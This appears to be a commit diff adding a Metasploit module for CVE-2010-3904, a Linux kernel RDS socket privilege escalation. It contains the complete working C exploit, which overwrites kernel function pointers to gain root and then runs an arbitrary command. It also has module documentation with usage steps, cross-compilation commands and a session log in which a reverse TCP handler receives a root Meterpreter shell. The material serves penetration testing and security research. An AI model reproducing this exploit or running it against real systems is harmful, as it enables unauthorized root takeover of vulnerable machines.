Add Reliable Datagram Sockets (RDS) Privilege Escalation exploit

data/exploits/cve-2010-3904/rds-fail.c

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+// source: http://www.vsecurity.com/resources/advisory/20101019-1/
+
+/* 
+ * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
+ * CVE-2010-3904
+ * by Dan Rosenberg <[email protected]>
+ *
+ * Copyright 2010 Virtual Security Research, LLC
+ *
+ * The handling functions for sending and receiving RDS messages
+ * use unchecked __copy_*_user_inatomic functions without any
+ * access checks on user-provided pointers.  As a result, by
+ * passing a kernel address as an iovec base address in recvmsg-style
+ * calls, a local user can overwrite arbitrary kernel memory, which
+ * can easily be used to escalate privileges to root.  Alternatively,
+ * an arbitrary kernel read can be performed via sendmsg calls.
+ *
+ * This exploit is simple - it resolves a few kernel symbols,
+ * sets the security_ops to the default structure, then overwrites
+ * a function pointer (ptrace_traceme) in that structure to point
+ * to the payload.  After triggering the payload, the original
+ * value is restored.  Hard-coding the offset of this function
+ * pointer is a bit inelegant, but I wanted to keep it simple and
+ * architecture-independent (i.e. no inline assembly).
+ *
+ * The vulnerability is yet another example of why you shouldn't
+ * allow loading of random packet families unless you actually
+ * need them.
+ *
+ * Greets to spender, kees, taviso, hawkes, team lollerskaters,
+ * joberheide, bla, sts, and VSR
+ *
+ */
+
+// Modified for Metasploit (see comments marked 'msf note')
+
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/ptrace.h>
+#include <sys/utsname.h>
+
+#define RECVPORT 5555 
+#define SENDPORT 6666
+
+int prep_sock(int port)
+{
+
+	int s, ret;
+	struct sockaddr_in addr;
+
+	s = socket(PF_RDS, SOCK_SEQPACKET, 0);
+
+	if(s < 0) {
+		printf("[*] Could not open socket.\n");
+		exit(-1);
+	}
+
+	memset(&addr, 0, sizeof(addr));
+
+	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
+	addr.sin_family = AF_INET;
+	addr.sin_port = htons(port);
+
+	ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
+
+	if(ret < 0) {
+		printf("[*] Could not bind socket.\n");
+		exit(-1);
+	}
+
+	return s;
+
+}
+
+void get_message(unsigned long address, int sock)
+{
+
+	recvfrom(sock, (void *)address, sizeof(void *), 0,
+		 NULL, NULL);
+
+}
+
+void send_message(unsigned long value, int sock)
+{
+
+	int size, ret;
+	struct sockaddr_in recvaddr;
+	struct msghdr msg;
+	struct iovec iov;
+	unsigned long buf;
+
+	memset(&recvaddr, 0, sizeof(recvaddr));
+
+	size = sizeof(recvaddr);
+
+	recvaddr.sin_port = htons(RECVPORT);
+	recvaddr.sin_family = AF_INET;
+	recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+
+	memset(&msg, 0, sizeof(msg));
+
+	msg.msg_name = &recvaddr;
+	msg.msg_namelen = sizeof(recvaddr);
+	msg.msg_iovlen = 1;
+
+	buf = value;
+
+	iov.iov_len = sizeof(buf);
+	iov.iov_base = &buf;
+
+	msg.msg_iov = &iov;
+
+	ret = sendmsg(sock, &msg, 0);
+	if(ret < 0) {
+		printf("[*] Something went wrong sending.\n");
+		exit(-1);
+	}
+}
+
+void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
+{
+
+	if(!fork()) {
+			sleep(1);
+			send_message(value, sendsock);
+			exit(1);
+	}
+	else {
+		get_message(addr, recvsock);
+		wait(NULL);
+	}
+
+}
+
+typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
+typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
+_commit_creds commit_creds;
+_prepare_kernel_cred prepare_kernel_cred;
+
+int __attribute__((regparm(3)))
+getroot(void * file, void * vma)
+{
+
+	commit_creds(prepare_kernel_cred(0));
+	return -1;	
+
+}
+
+/* thanks spender... */
+unsigned long get_kernel_sym(char *name)
+{
+	FILE *f;
+	unsigned long addr;
+	char dummy;
+	char sname[512];
+	struct utsname ver;
+	int ret;
+	int rep = 0;
+	int oldstyle = 0;
+
+	f = fopen("/proc/kallsyms", "r");
+	if (f == NULL) {
+		f = fopen("/proc/ksyms", "r");
+		if (f == NULL)
+			goto fallback;
+		oldstyle = 1;
+	}
+
+repeat:
+	ret = 0;
+	while(ret != EOF) {
+		if (!oldstyle)
+			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
+		else {
+			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
+			if (ret == 2) {
+				char *p;
+				if (strstr(sname, "_O/") || strstr(sname, "_S."))
+					continue;
+				p = strrchr(sname, '_');
+				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
+					p = p - 4;
+					while (p > (char *)sname && *(p - 1) == '_')
+						p--;
+					*p = '\0';
+				}
+			}
+		}
+		if (ret == 0) {
+			fscanf(f, "%s\n", sname);
+			continue;
+		}
+		if (!strcmp(name, sname)) {
+			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
+			fclose(f);
+			return addr;
+		}
+	}
+
+	fclose(f);
+	if (rep)
+		return 0;
+fallback:
+	/* didn't find the symbol, let's retry with the System.map
+	   dedicated to the pointlessness of Russell Coker's SELinux
+	   test machine (why does he keep upgrading the kernel if
+	   "all necessary security can be provided by SE Linux"?)
+	*/
+	uname(&ver);
+	if (strncmp(ver.release, "2.6", 3))
+		oldstyle = 1;
+	sprintf(sname, "/boot/System.map-%s", ver.release);
+	f = fopen(sname, "r");
+	if (f == NULL)
+		return 0;
+	rep = 1;
+	goto repeat;
+}
+
+int main(int argc, char * argv[])
+{
+	unsigned long sec_ops, def_ops, cap_ptrace, target;
+	int sendsock, recvsock;
+	struct utsname ver;
+
+	printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
+	printf("[*] by Dan Rosenberg\n");
+
+	uname(&ver);
+
+	if(strncmp(ver.release, "2.6.3", 5)) {
+		printf("[*] Your kernel is not vulnerable.\n");
+		return -1;
+	}	
+
+	/* Resolve addresses of relevant symbols */
+	printf("[*] Resolving kernel addresses...\n");
+	sec_ops = get_kernel_sym("security_ops");
+	def_ops = get_kernel_sym("default_security_ops");
+	cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
+	commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
+	prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
+
+	if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
+		printf("[*] Failed to resolve kernel symbols.\n");
+		return -1;
+	}
+
+	/* Calculate target */
+	target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
+
+	sendsock = prep_sock(SENDPORT);
+	recvsock = prep_sock(RECVPORT);
+
+	/* Reset security ops */
+	printf("[*] Overwriting security ops...\n");
+	write_to_mem(sec_ops, def_ops, sendsock, recvsock);
+
+	/* Overwrite ptrace_traceme security op fptr */
+	printf("[*] Overwriting function pointer...\n");
+	write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
+
+	/* Trigger the payload */
+	printf("[*] Triggering payload...\n");
+	ptrace(PTRACE_TRACEME, 1, NULL, NULL);
+
+	/* Restore the ptrace_traceme security op */
+	printf("[*] Restoring function pointer...\n");
+	write_to_mem(target, cap_ptrace, sendsock, recvsock);
+
+	if(getuid()) {
+		printf("[*] Exploit failed to get root.\n");
+		return -1;
+	}
+
+	printf("[*] Got root!\n");
+	// msf note: modified to execute argv[1]
+	//execl("/bin/sh", "sh", NULL);
+	system(argv[1]);
+
+}

documentation/modules/exploit/linux/local/rds_priv_esc.md

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+## Description
+
+  This module exploits a vulnerability in the `rds_page_copy_user` function
+  in `net/rds/page.c` (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8
+  to execute code as `root` (CVE-2010-3904).
+
+
+## Vulnerable Application
+
+  This module has been tested successfully on:
+
+  * Fedora 13 (i686) with kernel version 2.6.33.3-85.fc13.i686.PAE
+  * Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Get a session
+  3. `use exploit/linux/local/rds_priv_esc`
+  4. `set SESSION [SESSION]`
+  5. `check`
+  6. `run`
+  7. You should get a new *root* session
+
+
+## Options
+
+  **SESSION**
+
+  Which session to use, which can be viewed with `sessions`
+
+  **WritableDir**
+
+  A writable directory file system path. (default: `/tmp`)
+
+  **COMPILE**
+
+  Options: `Auto` `True` `False` (default: `Auto`)
+
+  Whether the exploit should be live compiled with `gcc` on the target system,
+  or uploaded as a pre-compiled binary.
+
+  `Auto` will first determine if `gcc` is installed to compile live on the system,
+  and fall back to uploading a pre-compiled binary.
+
+
+## Compiled Executables
+
+The module makes use of two pre-compiled exploit executables (`rds.x86` and `rds.x64`),
+to be use when `gcc` is not available on the target host for live compiling, or
+`COMPILE` is set to `False`.
+
+The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar.xz):
+
+```bash
+./x86_64-linux-musl-gcc -o rds.x64 -pie -static rds.c
+./i486-linux-musl-gcc -o rds.x86 -pie -static rds.c
+```
+
+
+## Scenarios
+
+  ```
+  msf5 > use exploit/linux/local/rds_priv_esc
+  msf5 exploit(linux/local/rds_priv_esc) > set session 1
+  session => 1
+  msf5 exploit(linux/local/rds_priv_esc) > set lhost 172.16.191.188
+  lhost => 172.16.191.188
+  msf5 exploit(linux/local/rds_priv_esc) > run
+
+  [*] Started reverse TCP handler on 172.16.191.188:4444 
+  [*] Writing '/tmp/.zEAOL.c' (7282 bytes) ...
+  [*] Writing '/tmp/.kBTWC7E' (237 bytes) ...
+  [*] Launching exploit...
+  [*] Sending stage (853256 bytes) to 172.16.191.149
+  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.149:40103) at 2018-05-03 08:52:59 -0400
+  [+] Deleted /tmp/.zEAOL.c
+  [+] Deleted /tmp/.zEAOL
+  [+] Deleted /tmp/.kBTWC7E
+
+  meterpreter > getuid
+  Server username: uid=0, gid=0, euid=0, egid=0
+  meterpreter > sysinfo
+  Computer     : 172.16.191.149
+  OS           : Ubuntu 10.04 (Linux 2.6.32-21-generic)
+  Architecture : x64
+  BuildTuple   : i486-linux-musl
+  Meterpreter  : x86/linux
+  meterpreter > 
+  ```
+